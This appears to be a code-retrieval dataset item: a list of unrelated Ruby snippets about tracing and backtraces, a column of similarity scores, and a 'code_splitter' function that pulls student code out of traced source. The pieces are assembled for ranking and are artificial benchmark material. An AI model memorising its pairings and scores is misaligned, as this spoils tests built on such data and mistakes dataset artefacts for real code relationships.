"def source_location\n if @file.nil?\n args =[*(1..(arity<-1 ? -arity-1 : arity ))]\n\n set_trace_func method(:trace_func).to_proc\n call(*args) rescue nil\n set_trace_func nil\n @file = File.expand_path(@file) if @file && File.exist?(File.expand_path(@file))\n end\n [@file, @line] if @file\n end",
"def get_datalog_trace\r\n transaction_id=params[0]\r\n trace_label=params[1]\r\n site_id=params[2]\r\n start_freq=params[3]\r\n stop_freq=params[4]\r\n start_ts=params[5] \r\n stop_ts=params[6] \r\n freq_res=params[7] \r\n ts_res=params[8]\r\n datalog_range=Datalog.get_range(site_id)\r\n logger.debug datalog_range.inspect()\r\n logger.info(\"START TS : #{start_ts}\")\r\n logger.info(\"STOP TS : #{stop_ts}\")\r\n ds={}\r\n\t \r\n\t###TODO\r\n\t\r\n\t \r\n\t \r\n if (datalog_range.nil?) || datalog_range[:max_ts].nil? || datalog_range[:max_ts].nil?\r\n ds[\"min_freq\"]=datalog_range[:min_freq]\r\n ds[\"max_freq\"]=datalog_range[:max_freq]\r\n ds[\"min_ts\"]=nil\r\n ds[\"max_ts\"]=nil\r\n ds[\"transaction_id\"]=transaction_id\r\n ds[\"trace_label\"]=trace_label\r\n else\r\n one_hour_ago=datalog_range[:max_ts]-3600\r\n logger.debug \"One hour ago #{one_hour_ago.to_s} Most Recent #{datalog_range[:max_ts]}\"\r\n overtime_flag=params.key?(9) ? params[9] : false\r\n site=Site.find(site_id)\r\n profile=nil\r\n anl=nil\r\n if site.nil?\r\n raise \"Failed to find Site.\"\r\n else\r\n logger.debug \"Getting Profile for site #{site.id}\"\r\n profile=site.get_profile()\r\n end\r\n datalog=Datalog.summarize_datalogs(\r\n {\r\n :site_id=>site_id, \r\n :start_ts=>start_ts,\r\n :stop_ts=>stop_ts,\r\n :start_freq=>start_freq,\r\n :stop_freq=>stop_freq\r\n },\r\n overtime_flag)\r\n recent_datalog=Datalog.summarize_datalogs(\r\n {\r\n :site_id=>site_id, \r\n :start_ts=>one_hour_ago,\r\n :stop_ts=>datalog_range[:max_ts],\r\n :start_freq=>start_freq,\r\n :stop_freq=>stop_freq\r\n },\r\n overtime_flag)\r\n ds[\"recent\"]=recent_datalog[:max]\r\n datalog_list=[]\r\n ds[\"trace_label\"]=trace_label\r\n ds[\"avg\"]=datalog[:avg]\r\n ds[\"min\"]=datalog[:min]\r\n ds[\"max\"]=datalog[:max]\r\n ds[\"total\"]=datalog[:total]\r\n ds[\"noise_floor\"]=datalog[:noise_floor] if overtime_flag\r\n logger.debug \"Datalog length #{ds[\"max\"].length}\"\r\n if ((!profile.nil?) && (!overtime_flag))\r\n logger.debug \"Got Profile #{profile.name()}, #{start_freq}, #{stop_freq}\"\r\n ds[\"profile_id\"]=profile.id\r\n ds[\"profile_name\"]=profile.name\r\n ds[\"profile_ref\"]=profile.trace(start_freq, stop_freq)\r\n #ds[\"profile_ref\"]=profile.trace()\r\n ds[\"profile_major\"]=profile.major_offset\r\n ds[\"profile_minor\"]=profile.minor_offset\r\n ds[\"profile_loss\"]=profile.loss_offset\r\n ds[\"profile_loss_flag\"]=profile.link_loss\r\n else\r\n logger.debug \"Did not get Profile #{profile.inspect()}\"\r\n end\r\n logger.debug datalog.inspect()\r\n logger.debug \"Finished Total\"\r\n if datalog.key?(:freq)\r\n ds[\"freq\"]=datalog[:freq]\r\n else\r\n ds[\"freq\"]=[]\r\n end\r\n if datalog.key?(:time)\r\n ds[\"time\"]=datalog[:time]\r\n else\r\n ds[\"time\"]=[]\r\n end\r\n ds[\"min_freq\"]=datalog[:min_freq]\r\n ds[\"max_freq\"]=datalog[:max_freq]\r\n ds[\"min_ts\"]=datalog[:min_ts]\r\n ds[\"max_ts\"]=datalog[:max_ts]\r\n ds[\"transaction_id\"]=transaction_id\r\n \r\n \r\n\t \r\n logger.debug ds[\"freq\"].inspect()\r\n logger.debug \"Finished Transaction. Now building XML\"\r\n end\r\n respond_to do |format|\r\n format.amf { \r\n render :amf => ds\r\n }\r\n end\r\n end",
"def get_stages exec_trace\n ret_array = []\n lines = exec_trace.split /\\n/\n current_line = 0\n # Skip past preamble\n until lines[current_line] =~ /M@/\n current_line += 1\n end\n pattern = /M@(\\w+)/\n while current_line < lines.length\n if lines[current_line].match pattern\n command = lines[current_line].sub pattern, '\\1'\n case command\n when \"assign\"\n var = lines[current_line += 1]\n exp = lines[current_line += 1]\n i_store = lines[current_line += 1]\n i_heap = lines[current_line += 1]\n f_store = lines[current_line += 1]\n f_heap = lines[current_line += 1]\n text = \"#{var} := #{exp}\"\n ret_array.push Stage.new i_heap, i_store, f_heap, f_store, text\n current_line += 1\n when \"new\"\n var = lines[current_line += 1]\n exp = lines[current_line += 1]\n i_store = lines[current_line += 1]\n i_heap = lines[current_line += 1]\n f_store = lines[current_line += 1]\n f_heap = lines[current_line += 1]\n text = \"#{var} := new(#{exp})\"\n ret_array.push Stage.new i_heap, i_store, f_heap, f_store, text\n current_line += 1\n when \"dispose\"\n var = lines[current_line += 1]\n i_store = lines[current_line += 1]\n i_heap = lines[current_line += 1]\n f_store = lines[current_line += 1]\n f_heap = lines[current_line += 1]\n text = \"free(#{var})\"\n ret_array.push Stage.new i_heap, i_store, f_heap, f_store, text\n current_line += 1\n when \"lookup\"\n var1 = lines[current_line += 1]\n var2 = lines[current_line += 1]\n i_store = lines[current_line += 1]\n i_heap = lines[current_line += 1]\n f_store = lines[current_line += 1]\n f_heap = lines[current_line += 1]\n text = \"#{var1} := [#{var2}]\"\n ret_array.push Stage.new i_heap, i_store, f_heap, f_store, text\n current_line += 1\n when \"mutate\"\n var = lines[current_line += 1]\n exp = lines[current_line += 1]\n i_store = lines[current_line += 1]\n i_heap = lines[current_line += 1]\n f_store = lines[current_line += 1]\n f_heap = lines[current_line += 1]\n text = \"[#{var}] := #{exp}\"\n ret_array.push Stage.new i_heap, i_store, f_heap, f_store, text\n current_line += 1\n when \"conditional\"\n bool = lines[current_line += 1]\n i_store = lines[current_line += 1]\n i_heap = lines[current_line += 1]\n prog = lines[current_line += 1]\n text = \"if #{bool} (taking branch: #{prog})\"\n ret_array.push Stage.new i_heap, i_store, i_heap, i_store, text\n current_line += 1\n else\n raise \"command did not match\"\n end\n else\n raise \"line #{lines[current_line]} didn't match\"\n end\n end\n ret_array\nend",
"def check_syntax_trace(context, schema, datum, depth, trace)\n return unless trace < 0\n depth.times { print \"*\" }\n print \"* #{context}\\n schema: #{schema.inspect[0 .. trace.abs]}\\n\"\n print \" datum: #{datum.inspect[0 .. trace.abs]}\\n\"\n end",
"def trace message; write TRACE, message, caller[0] unless level > @level end",
"def dump_stack_trace(tid)\r\n thread_stack_trace(tid).each do |frame, code|\r\n puts \"#{ frame.to_x } @ #{ to_modoff(code) }\"\r\n end\r\n end",
"def inspect\n ts = Thread.__recursion_guard_set\n added = ts.__add_if_absent(self)\n unless added\n return #{@_st_excludeEnd ? \"...\" : \"..\"}\n end\n begin\n s = \"#{@_st_from.inspect}#{@_st_excludeEnd ? \"...\" : \"..\"}#{@_st_to.inspect}\"\n ensure\n ts.remove(self)\n end\n s\n end",
"def stacktrace=(_arg0); end",
"def read_stack_cache_traces(analysis_task_elem)\n analysis_task_elem.each_element(\"value_analysis/messages/message/textline\") { |e|\n if e.text =~ /trace.*\\(context\\w*(.*)\\).*\\(\"user_(n_(?:fill|spill))\"\\).=.(\\d+)/\n yield $1,$2,$3\n end\n }\n end",
"def rInvocationStmt\n res = rInvocation(prob(85) ? 'void' : nil)\n return '' if res.empty?\n return tab + res + ';\\n'\nend",
"def dump_call_stack\n puts \"[Debug] callStack start---\"\n puts caller\n puts \"[Debug] callStack end---\"\nend",
"def finish_trace( t0, segment, request, response )\n t1 = Time.now\n duration = t1.to_f - t0.to_f\n\n begin\n if request\n # Figure out which metrics we need to report based on the request and response\n # The last (most-specific) one is scoped.\n metrics = metrics_for( request, response )\n scoped_metric = metrics.pop\n\n stats_engine.record_metrics(metrics, duration)\n stats_engine.record_metrics(scoped_metric, duration, :scoped => true)\n\n # If we don't have segment, something failed during start_trace so\n # the current segment isn't the HTTP call it should have been.\n if segment\n segment.name = scoped_metric\n add_transaction_trace_parameters(request, response)\n end\n end\n ensure\n # If we have a segment, always pop the scope stack to avoid an\n # inconsistent state, which prevents tracing of whole transaction.\n stats_engine.pop_scope( segment, scoped_metric, t1 ) if segment\n end\n rescue NewRelic::Agent::CrossAppTracing::Error => err\n NewRelic::Agent.logger.debug \"while cross app tracing\", err\n rescue => err\n NewRelic::Agent.logger.error \"Uncaught exception while finishing an HTTP request trace\", err\n end",
"def backtrace\n end",
"def trace_raw\n $log.debug \"XSS trace raw\"\n # Output\n $abst_dataflows.each do |n1, d1|\n if d1.subtype == 'raw_out'\n if $enable_stdout\n print \"\\e[31m\" # red\n puts \" #{n1} has raw output.\"\n print \"\\e[0m\" # reset\n end\n $log.debug \"XSS #{n1} has raw output. check the state that input #{d1.src_id}, output #{d1.dst_id}\"\n\n d1.xss_trace = true\n $abst_states[d1.dst_id].xss_out << d1\n # Input\n in_states = []\n $abst_dataflows.each do |n2, d2|\n if d2.dst_id == d1.src_id\n $log.debug \"XSS #{d2.src_id} ==(#{d2.type})==> #{d1.src_id} ==(raw)==> #{d1.dst_id}\"\n d2.xss_trace = true\n $abst_states[d1.dst_id].xss_in << d2\n in_states << d2.src_id\n end\n end\n\n # add to Warnings\n w = Hash.new\n w['warning_type'] = 'Cross Site Scripting'\n w['message'] = \"Unescaped model attribute, path in:#{in_states}->var:#{d1.src_id}->out:#{d1.dst_id}\"\n w['file'] = d1.filename # TODO: condblk.filename is nil\n w['file2'] = nil\n w['line'] = nil\n w['code'] = nil\n w['location'] = nil\n w['user_input'] = nil\n # put explicit raw here => programmer should have some intentions => but test\n w['confidence'] = 'High' # Weak Medium High\n w['hit_state'] = d1.dst_id\n w['hit_variable'] = d1.src_id\n $warning.add(w)\n end\n end\n\n # Trace C-V(raw_out)\n $abst_transitions.each do |n1, t|\n if !$abst_states[t.dst_id].nil? && $abst_states[t.dst_id].type == 'view'\n v = $abst_states[t.dst_id]\n if $abst_states[t.src_id].type == 'controller'\n c = $abst_states[t.src_id]\n # C-V\n c.test_xss_path << t if v.xss_out.count > 0\n end\n end\n end # trans loop\n end",
"def trace(target = nil)\n raw \"TRACE #{target}\".strip << \"\\r\\n\"\n end",
"def trace(name)\n Thread.current[:trace] = ::Fiveruns::Dash::Trace.new(name)\n result = yield\n reporter.send_trace(Thread.current[:trace])\n Thread.current[:trace] = nil\n result\n end",
"def full_backtrace; end",
"def sniff\n find_violations.group_by(&:depth).map do |depth, group|\n lines = group.map(&:line)\n smell_warning(\n lines: lines,\n message: \"contains iterators nested #{depth} deep\",\n parameters: { depth: depth })\n end\n end",
"def backtrace; end",
"def performance(index)\n puts \"\\n#{@testcase.name}\\n\"\n puts \" %-10s %-20s %-8s %s \" % [\"#{@response.runtime.to_s[0..6]}s\", \"[#{result_case}]\", @testcase.request['method'], @response.fully_qualified_path]\n end",
"def Trace(string)\n if Trace.active?\n puts string\n STDOUT.flush\n end\nend",
"def trace text, details=nil, severity=Errlog::TRACE, &block\n details and self.details = details\n report text, severity\n end",
"def handle_everything(user_code, in_trace)\n exe_Point_Finder(in_trace)\n @event_manager.modify_lines(user_code)\n raw_events = @event_manager.trace_list\n filtered_out_events = FilteredTraces.new([raw_events, user_code])\n filtered_out_events.return_json_string\n end",
"def trace_method_execution(metric_names, push_scope, produce_metric, deduct_call_time_from_parent, &block) #:nodoc:\n if push_scope\n trace_execution_scoped(metric_names, :metric => produce_metric,\n :deduct_call_time_from_parent => deduct_call_time_from_parent, &block)\n else\n trace_execution_unscoped(metric_names, &block)\n end\n end",
"def trace_context\n TraceContextData.new trace_id, @span_id, trace_options\n end",
"def misty ci, &blk\n print 'stack: '; p ci.ctx.stack\n puts 'vars: '; p ci.ctx.vars\n print 'next instruction: '; p ci.peek\n gets\n ci.step\nend",
"def method_to_be_traced(x, y, z, is_traced, expected_metric)\n advance_process_time(0.05)\n\n assert_equal(1, x)\n assert_equal(2, y)\n assert_equal(3, z)\n end",
"def time(who, &block)\n trace_execution_unscoped(key(who), {}, &block)\n end",
"def show_backtraces=(_arg0); end",
"def start_trace( request )\n t0 = Time.now\n\n inject_request_headers( request ) if cross_app_enabled?\n segment = stats_engine.push_scope( :http_request, t0 )\n\n return t0, segment\n rescue => err\n NewRelic::Agent.logger.error \"Uncaught exception while tracing HTTP request\", err\n return t0, nil\n end"
] | [
"0.61676794",
"0.61020243",
"0.5964391",
"0.5948465",
"0.59072137",
"0.58359414",
"0.57576954",
"0.5685536",
"0.5553746",
"0.55075586",
"0.5504756",
"0.54980147",
"0.54239726",
"0.54068494",
"0.5302817",
"0.53017026",
"0.52682984",
"0.52546424",
"0.52263254",
"0.5190801",
"0.5188089",
"0.51726574",
"0.51440316",
"0.51427925",
"0.513538",
"0.51321787",
"0.51223373",
"0.51214576",
"0.5115813",
"0.5101122",
"0.50981283",
"0.5095295",
"0.5088281",
"0.5061149",
"0.5055342",
"0.5049016",
"0.50463253",
"0.5040113",
"0.50274086",
"0.49872667",
"0.4964478",
"0.4945544",
"0.49418682",
"0.49391684",
"0.4928338",
"0.49087575",
"0.4907663",
"0.48873302",
"0.48872274",
"0.48862976",
"0.48820525",
"0.48786056",
"0.4869549",
"0.4864116",
"0.4859046",
"0.485576",
"0.4843263",
"0.48199",
"0.48170644",
"0.4811451",
"0.48089534",
"0.48042393",
"0.47812697",
"0.47771415",
"0.47737518",
"0.477118",
"0.477118",
"0.47608116",
"0.47541752",
"0.47522888",
"0.47482112",
"0.47457957",
"0.47455505",
"0.47375324",
"0.4726354",
"0.4718912",
"0.47151795",
"0.47132403",
"0.47126514",
"0.4698155",
"0.469795",
"0.46937338",
"0.4677917",
"0.4656901",
"0.46559",
"0.4650326",
"0.46317145",
"0.46315557",
"0.4621213",
"0.4620431",
"0.46057233",
"0.4605693",
"0.46004832",
"0.45977575",
"0.4589345",
"0.45850262",
"0.4564691",
"0.45488033",
"0.4547218",
"0.45470497"
] | 0.63415736 | 0 |
Extract student code from the complete source code | def code_splitter(code)
student_code = []
code = code.split('startTraceNow();')
new_code = code[1].split('endTraceNow();')
executed_code = new_code[0]
executed_code_list = executed_code.split('\\n')
flag = false
counter = 0
until flag
if executed_code_list[counter] == '' || executed_code_list[counter] == ' '
flag = false
counter += 1
elsif executed_code_list[counter] != ''
flag = true
end
end
x = counter
while x < executed_code_list.length
temp = executed_code_list[x]
temp = temp.strip
student_code << executed_code_list[x] unless temp.empty?
x += 1
end
student_code
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def extract_code!\n data = @data\n data.gsub!(/^``` ?([^\\r\\n]+)?\\r?\\n(.+?)\\r?\\n```\\r?$/m) do\n id = Digest::SHA1.hexdigest($2)\n cached = check_cache(:code, id)\n @codemap[id] = cached ?\n { :output => cached } :\n { :lang => $1, :code => $2 }\n id\n end\n data\n end",
"def parse_codespan; end",
"def extract(data)\n data.gsub!(/^``` ?([^\\r\\n]+)?\\r?\\n(.+?)\\r?\\n```\\r?$/m) do\n id = Digest::SHA1.hexdigest($2)\n @code_blocks << CodeBlock.new(id, $1, $2)\n id\n end\n data\n end",
"def create_student_full_code\n puts Dir.pwd\n @student_code = ''\n File.open('code.txt', 'rb') do |code_file|\n code = code_file.read()\n code = code.split(\"\\n\")\n code.each { |line| @student_code += line + \"\\n\" unless line.empty? }\n end\n File.open('part1.txt', 'rb') do |part1file|\n @part1 = part1file.read\n end\n File.open('part2.txt', 'rb') do |part2file|\n @part2 = part2file.read\n end\n full_student_code = @part1 + @student_code + \"\\n\" + @part2\n\n main_method('', full_student_code)\nend",
"def code_extractor(code)\n { code: code[:code], code_system: code[:codeSystem], title: code[:descriptor] }\n end",
"def get_source_code(method)\n src = \"\"\n \t if ts = method.token_stream \n \t ts.each do |t|\n \t next unless t \t\t\t\n \t src << t.text\n \t end\n end\n return src\n end",
"def extract_code(data)\n data.gsub!(/^``` ?([^\\r\\n]+)?\\r?\\n(.+?)\\r?\\n```\\r?$/m) do\n id = Digest::SHA1.hexdigest($2)\n cached = check_cache(:code, id)\n @codemap[id] = cached ?\n { :output => cached } :\n { :lang => $1, :code => $2 }\n id\n end\n data\n end",
"def get_source\n raise 'check this!'\n # _reflector = new ReflectionClass($this);\n # $file = _reflector.filename;\n # if (!file_exists($file)) {\n # return;\n # end\n # $source = file($file, FILE_IGNORE_NEW_LINES);\n # array_splice($source, 0, _reflector.getEndLine());\n # $i = 0;\n # while (isset($source[$i]) && '/* */' == substr_replace($source[$i], '', 3, -2)) {\n # $source[$i] = str_replace('*//* ', '*/', substr($source[$i], 3, -2));\n # ++$i;\n # end\n # array_splice($source, $i);\n # return implode(\"\\n\", $source);\n end",
"def text source=nil\n header = read(source)\n\n # strip shebang and encoding comments\n header.sub! /\\A#!.+\\n?/, ''\n header.sub! /\\A#.*coding:.+\\n?/, ''\n\n # extract the embedded manpage source\n if header =~ /\\A\\s*^#/\n header.split(/^\\s*$/, 2).first.gsub(/^# ?/, '')\n else\n header[/^=begin\\b.*?$(.*?)^=end\\b.*?$/m, 1].to_s\n end.strip\n end",
"def parse_block_source(example)\n @debug = false\n\n # Source code for rspec is living on the metadata[:block].source location\n unless defined?(example.metadata) && defined?(example.metadata[:block]) && defined?(example.metadata[:block].source)\n @source = ''\n return\n end\n\n unless example.metadata[:source_override].nil?\n @source = example.metadata[:source_override]\n return\n end\n \n source = example.metadata[:block].source.strip\n\n segments = source.match(EXTRACT_CONTENT_REX)\n\n unless defined?(segments) && defined?(segments[:content])\n @source = ''\n return\n end\n @source = remove_wasted_indentation(segments[:content])\n @source\n end",
"def extract(source)\n sexp = Ripper.sexp(source)\n extract_from_sexp(sexp)\n end",
"def source_line; end",
"def parse(source); end",
"def read_source_code\n puts File.readlines($0)\nend",
"def source\n @source ||= begin\n file, line_no = source_location\n raise \"no file provided by source_location: #{self}\" if file.nil?\n raise \"no line number provided for source_location: #{self}\" if line_no.nil?\n tokens = Ripper.lex File.read(file)\n tokens_on_line = tokens.select {|pos, lbl, str| pos[0].eql?(line_no) }\n starting_token = tokens_on_line.detect do |pos, lbl, str|\n TOKEN_PAIRS.keys.include?([lbl, str]) &&\n _actually_starting_a_proc?(tokens, [pos, lbl, str])\n end\n starting_token_type = [starting_token[1], starting_token[2]]\n ending_token_type = TOKEN_PAIRS[starting_token_type]\n source_str = \"\"\n remaining_tokens = tokens[tokens.index(starting_token)..-1]\n nesting = -1\n starting_nesting_token_types = if [TLAMBDA, LBRACE].include?(starting_token_type)\n [TLAMBDA, LBRACE]\n else\n [starting_token_type]\n end\n\n while token = remaining_tokens.shift\n token = [token[1], token[2]] # strip position\n source_str << token[1]\n nesting += 1 if starting_nesting_token_types.include? token\n is_ending_token = token.eql?(ending_token_type)\n break if is_ending_token && nesting.eql?(0)\n nesting -= 1 if is_ending_token\n end\n source_str\n end\n end",
"def pcode4\n school.sierra_code\n end",
"def source_decls; end",
"def scrape_students\n student_lesson_forks_url = \"https://github.com/learn-co-students/#{$lesson_name}-#{$class_id}/network/members\"\n $browser.goto(student_lesson_forks_url)\n divs = $browser.divs(class: 'repo')\n divs.collect do |div|\n div.text.split(\" / \")[0]\n end\n end",
"def scrape_students\n student_lesson_forks_url = \"https://github.com/learn-co-students/#{$lesson_name}-#{$class_id}/network/members\"\n $browser.goto(student_lesson_forks_url)\n divs = $browser.divs(class: 'repo')\n divs.collect do |div|\n div.text.split(\" / \")[0]\n end\n end",
"def extract_magic_comments(processed_source); end",
"def extract_source_from(error)\n extract = []\n \n code = error.backtrace[1]\n md = code.match(%r{:(\\d+):in `(.*)'$})\n line_num = md[1].to_i\n\n if lines = code.split(\"\\n\")[(line_num - RADIUS)..(line_num + RADIUS)]\n lines.each_with_index do |line, idx|\n lidx = line_num - RADIUS + idx \n extract << \"#{lidx}: #{line}\"\n end \n end\n \n return extract\n end",
"def source_lines; end",
"def source_lines; end",
"def source_lines; end",
"def source_lines; end",
"def source\n @source ||= raw_source.split(\"---\\n\")[2]\n end",
"def source\n @source ||= raw_source.split(\"---\\n\")[2]\n end",
"def parse837(first_line) read_837_header(first_line).skip_to_trailer.read_837_trailer; end",
"def source_code\n next_node_line =\n if next_node\n next_node.line - 1\n else\n @document.source_lines.count + 1\n end\n\n @document.source_lines[@line - 1...next_node_line]\n .join(\"\\n\")\n .gsub(/^\\s*\\z/m, '') # Remove blank lines at the end\n end",
"def extract_code\n @original.chars.map do |c|\n @code.push c.to_i if c[/\\d+/]\n end\n end",
"def parse_source(source)\n lines = source.lines.to_a\n starting_line_index = @line_number - 1\n ending_line_index = starting_line_index\n sexp = nil\n while !sexp && ending_line_index < lines.size\n begin\n snippet = lines.to_a[starting_line_index..ending_line_index].join\n sexp = parser.parse(snippet)\n return ParsedCode.new(sexp)\n rescue Racc::ParseError\n ending_line_index += 1\n raise if ending_line_index >= lines.size\n end\n end\n end",
"def extract_data(src)\n data = File.open(src, 'rb').readlines\n rv = []\n until data.empty?\n if data.shift.strip == '<rec type=\"boundaries\">'\n data.shift =~ %r[<u>\\d+</u><!--\\s*(.*?)\\s*-->]\n a = $1\n data.shift =~ %r[<u>\\d+</u><!--\\s*(.*?)\\s*-->]\n b = $1\n rv << [a,b]\n end\n end\n rv\nend",
"def parse_klass_info(line)\n #(dept_abbr, klass_section, instructor, title) = line[0].gsub(/^\"(.*)\"$/,'\\1').split\n (dept_abbr, klass_section, instructor, title) = line[0].scan(\n /^\"*(\\w*)\\s+([^\\s]*)\\s+(.*[^\\s])\\s*\\((\\w*)\\)\"*$/ ).first\n (full_course_number, section) = klass_section.split(\"-\")\n if instructor.index(\",\").nil?\n puts \"Could not parse instructor name #{instructor} correctly. Please check source file.\"\n exit\n end\n (last_name, first_name) = instructor.split(\",\")\n\n # Handles cases where an instructor has multiple parts to their name\n # i.e. El Ghaoui, Laurent\n # i.e. Chang-Hasnain, C.\n first_name = first_name.scan(/(\\W+|\\w+)/).map{|x| x.first.capitalize}.join\n last_name = last_name.scan(/(\\W+|\\w+)/).map{|x| x.first.capitalize}.join\n\n respondents = line[1]\n semester = line[11]\n full_course_number.upcase!\n\n # Check and find department\n department = Department.find_by_nice_abbr(dept_abbr)\n if department.nil?\n puts \"Could not find department #{dept_abbr}. Please check the formatting of the input file.\"\n exit\n end\n\n # Check whether course exists\n (course_number, suffix) = full_course_number.match(/^([0-9]*)([A-Z]*)$/)[1..-1]\n course = Course.find(:first, :conditions => {:department_id => department.id, :course_number => course_number, :suffix => suffix})\n if course.nil?\n puts \"Could not find course #{dept_abbr} #{full_course_number}. Please enter it into the database before rerunning this script\" \n exit\n end\n\n # Check whether instructor exists\n # I have no idea what we should do about duplicates. I'll probably want to see what the old script did\n # So many bad things can happen here if the survey does not format the instructor name properly\n instructor = Instructor.find(:first, :conditions => { :first_name => first_name, :last_name => last_name })\n \n if instructor.nil?\n puts \"No instructor named #{first_name} #{last_name} found. Creating now.\"\n puts \"If this is in error, please merge the instructor entries in the database.\"\n if title == \"prof\"\n privacy = false\n else\n privacy = true\n end\n instructor = Instructor.create( :first_name => first_name, :last_name => last_name, :private => privacy )\n end\n\n # Check whether klass exists, note that the EE survey results for TAs may not not follow the same section number convention as the other results\n formatted_semester = semester[-4..-1] + case semester[0..-6] when \"SPRING\" then \"1\" when \"SUMMER\" then \"2\" when \"FALL\" then \"3\" else \"UNKNOWN\" end\n klass = Klass.find( :first, :conditions => { :course_id => course.id, :semester => formatted_semester, :section => section } )\n if klass.nil?\n if title == 'ta'\n raise \"Error: TA #{first_name} #{last_name} belongs to unknown section of #{course_number}\"\n elsif title == 'prof'\n puts \"No klass for #{semester} #{course.course_abbr} found. Creating new one.\"\n klass = Klass.create( :course_id => course.id, :semester => formatted_semester, :section => section )\n else\n raise \"Error\"\n end\n end\n\n # Check whether instructor is an instructor or a TA for the klass\n case title\n when \"prof\"\n klass.instructors << instructor unless klass.instructors.include? instructor\n klass.save\n when \"ta\"\n klass.tas << instructor unless klass.tas.include? instructor\n klass.save\n else\n raise \"Error: Title #{title} not recognized. Should be either 'prof' or 'ta'\"\n end\n\n return [1, instructor, klass]\nend",
"def source() end",
"def process_code text\n # the first line is the lang identifier\n lang = text.lines.first.scan(/^#!+[\\s+]?(\\w+)/).flatten.first\n\n # if found remove first line from text\n if lang\n lang.downcase!\n text = text.lines.to_a[1..-1].join\n else\n lang = 'text'\n end\n\n # highlight and put into a `div` element\n html = CodeRay.scan(text, lang).div(:css => :class)\n end",
"def extract(data)\n return data if @markup.format == :txt\n data.gsub(/(@startuml\\r?\\n.+\\r?\\n@enduml)/m) do\n id = Digest::SHA1.hexdigest($1)\n @map[id] = { :code => $1 }\n id\n end\n end",
"def extract_code_blocks\n body.match /```([a-z]+)?\\n(.*)\\n```/\n end",
"def processed_source; end",
"def processed_source; end",
"def processed_source; end",
"def processed_source; end",
"def processed_source; end",
"def processed_source; end",
"def processed_source; end",
"def processed_source; end",
"def processed_source; end",
"def processed_source; end",
"def processed_source; end",
"def extract_stanzas(fn:)\n result = []\n\n # switch on the number of \"stanzas\" in the fn\n # three or greater stanzas\n if fn.match(/([^_\\.]+)_([^_]+)_([^_\\.]+)/)\n m = fn.match(/([^_\\.]+)_([^_]+)_([^_\\.]+)/)\n\n result[0] = m[1]\n result[1] = m[2]\n result[2] = m[3]\n # two stanzas\n elsif fn.match(/([^_\\.]+)_([^_\\.]+)/)\n m = fn.match(/([^_\\.]+)_([^_\\.]+)/)\n\n result[0] = m[1]\n result[1] = m[2]\n else\n p \"Extractor.extract_name_info_from_fn: found a one-header: #{fn}\"\n end\n\n result\n end",
"def find\n src.split(\"\\n\")\n end",
"def extract(data)\n return data if @markup.format == :txt\n data.gsub(/^\\{\\{\\{\\{\\{\\{ ?(.+?)\\r?\\n(.+?)\\r?\\n\\}\\}\\}\\}\\}\\}\\r?$/m) do\n id = Digest::SHA1.hexdigest($2)\n @map[id] = { :style => $1, :code => $2 }\n id\n end\n end",
"def show_source\n\tFile.open(\"Ruby_4_Challenges.rb\", \"r\")\n\tcontents = File.open(\"Ruby_4_Challenges.rb\", \"r\"){|file| file.read }\n\tputs contents\nend",
"def raw_codewords\n @raw_codewords\n end",
"def lines_of_code; end",
"def lines_of_code; end",
"def findLinesOfCode()\n @students.each do |student|\n repos = Octokit.repositories \"#{student[0]}\"\n totalLinesOfCode = []\n\n repos.each_with_index do |v, i|\n begin\n linesOfCode = Octokit.code_frequency_stats(\"#{student[0]}/#{repos[i][:name]}\")\n linesOfCode.each_with_index do |x, d|\n totalLinesOfCode << linesOfCode[d][1]\n end\n rescue; end\n end\n\n student[1][:totalLinesOfCode] = totalLinesOfCode.inject(0) do |sum, x| \n sum + x \n end\n end\nend",
"def coderay(text = \"\")\n text.gsub(/\\<code( lang=\"(.+?)\")?\\>\\s*(.+?)\\<\\/code\\>/m) do \n CodeRay.scan($3, $2).div( :css => :class,\n :line_numbers => :inline,\n :tab_width => 2\n ) \n end\n end",
"def get_line(code)\n return code[2][0]\n end",
"def parse_lang_for_codeblock(source); end",
"def extract_code_language!(attr); end",
"def extract source, detect, extract=nil\n raise FileError, \"Could not read file #{source}\" if not File.exist? source\n\n extract ||= /(?<==)\\s*([^\\s]*)/\n\n File.open(source, \"r\") do |f|\n f.each_line do |line|\n if detect.match line\n matches = extract.match(line).captures\n raise RegexError, \"Found a line containing #{detect.inspect} but could not extract data using #{extract.inspect}\" if matches.length < 1\n raise RegexError, \"Found a line containing #{detect.inspect} but could not extract a unique piece of data using #{extract.inspect}\" if matches.length > 1\n return matches.first\n end\n end\n raise RegexError, \"Could not find a line containing #{detect.inspect}\"\n end\nend",
"def full_source=(_arg0); end",
"def segment(source_code) # rubocop:disable all\n sections, docs, code = [], [], []\n lines = source_code.split(\"\\n\")\n\n # The first line is ignored if it is a shebang line. We also ignore the\n # PEP 263 encoding information in python sourcefiles, and the similar ruby\n # 1.9 syntax.\n lines.shift if lines[0] =~ /^\\#\\!/\n lines.shift if lines[0] =~ /coding[:=]\\s*[-\\w.]+/ &&\n %w(python rb).include?(@options[:language])\n\n # To detect both block comments and single-line comments, we'll set\n # up a tiny state machine, and loop through each line of the file.\n # This requires an `in_comment_block` boolean, and a few regular\n # expressions for line tests. We'll do the same for fake heredoc parsing.\n in_comment_block = false\n in_heredoc = false\n single_line_comment, block_comment_start, block_comment_mid, block_comment_end =\n nil, nil, nil, nil\n unless @options[:comment_chars][:single].nil?\n single_line_comment = Regexp.new(\"^\\\\s*#{Regexp.escape(@options[:comment_chars][:single])}\\\\s?\")\n end\n unless @options[:comment_chars][:multi].nil?\n block_comment_start = Regexp.new(\"^\\\\s*#{Regexp.escape(@options[:comment_chars][:multi][:start])}\\\\s*$\")\n block_comment_end = Regexp.new(\"^\\\\s*#{Regexp.escape(@options[:comment_chars][:multi][:end])}\\\\s*$\")\n block_comment_one_liner = Regexp.new(\"^\\\\s*#{Regexp.escape(@options[:comment_chars][:multi][:start])}\\\\s*(.*?)\\\\s*#{Regexp.escape(@options[:comment_chars][:multi][:end])}\\\\s*$\") # rubocop:disable Metrics/LineLength\n block_comment_start_with = Regexp.new(\"^\\\\s*#{Regexp.escape(@options[:comment_chars][:multi][:start])}\\\\s*(.*?)$\")\n block_comment_end_with = Regexp.new(\"\\\\s*(.*?)\\\\s*#{Regexp.escape(@options[:comment_chars][:multi][:end])}\\\\s*$\")\n if @options[:comment_chars][:multi][:middle]\n block_comment_mid = Regexp.new(\"^\\\\s*#{Regexp.escape(@options[:comment_chars][:multi][:middle])}\\\\s?\")\n end\n end\n unless @options[:comment_chars][:heredoc].nil?\n heredoc_start = 